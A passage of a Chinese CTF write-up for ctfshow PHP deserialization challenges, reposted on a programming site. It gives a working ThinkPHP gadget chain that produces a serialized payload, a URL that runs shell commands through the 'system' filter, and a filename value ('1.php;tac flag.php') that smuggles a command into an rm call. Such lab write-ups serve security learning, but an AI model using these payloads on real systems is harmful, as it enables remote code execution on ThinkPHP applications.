namespace think;abstract class Model{    protected $append = [];    private $data = [];    function __construct(){        $this->append = ["llama"=>["dir","calc"]];        $this->data = ["llama"=>new Request()];    }}class Request{    protected $hook = [];    protected $filter = "system";    protected $config = [        // 表单请求类型伪装变量        'var_method'       => '_method',        // 表单ajax伪装变量        'var_ajax'         => '_ajax',        // 表单pjax伪装变量        'var_pjax'         => '_pjax',        // PATHINFO变量名 用于兼容模式        'var_pathinfo'     => 's',        // 兼容PATH_INFO获取        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],        // 默认全局过滤方法 用逗号分隔多个        'default_filter'   => '',        // 域名根,如thinkphp.cn        'url_domain_root'  => '',        // HTTPS代理标识        'https_agent_name' => '',        // IP代理获取标识        'http_agent_ip'    => 'HTTP_X_REAL_IP',        // URL伪静态后缀        'url_html_suffix'  => 'html',    ];    function __construct(){        $this->filter = "system";        $this->config = ["var_ajax"=>''];        $this->hook = ["visible"=>[$this,"isAjax"]];    }}namespace think\process\pipes;use think\model\concern\Conversion;use think\model\Pivot;class Windows{    private $files = [];    public function __construct()    {        $this->files=[new Pivot()];    }}namespace think\model;use think\Model;class Pivot extends Model{}use think\process\pipes\Windows;echo base64_encode(serialize(new Windows()));

注意,同时要传llama参数来执行shell命令,payload:

?data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJsbGFtYSI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJsbGFtYSI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=&llama=tac /flag

image-20220407230950998

web275

<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-12-08 19:13:36# @Last Modified by:   h1xa# @Last Modified time: 2020-12-08 20:08:07# @email: h1xa@ctfer.com# @link: https://ctfer.com*/highlight_file(__FILE__);class filter{    public $filename;    public $filecontent;    public $evilfile=false;    public function __construct($f,$fn){        $this->filename=$f;        $this->filecontent=$fn;    }    public function checkevil(){        if(preg_match('/php|\.\./i', $this->filename)){            $this->evilfile=true;        }        if(preg_match('/flag/i', $this->filecontent)){            $this->evilfile=true;        }        return $this->evilfile;    }    public function __destruct(){        if($this->evilfile){            system('rm '.$this->filename);        }    }}if(isset($_GET['fn'])){    $content = file_get_contents('php://input');    $f = new filter($_GET['fn'],$content);    if($f->checkevil()===false){        file_put_contents($_GET['fn'], $content);        copy($_GET['fn'],md5(mt_rand()).'.txt');        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);        echo 'work done';    }    }else{    echo 'where is flag?';}where is flag?

只要能执行销毁方法中的system命令即可。

?fn=1.php;tac flag.php

image-20220407232002473

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-04-14 23:30:38  更:2022-04-14 23:31:15 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/18 11:11:39-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码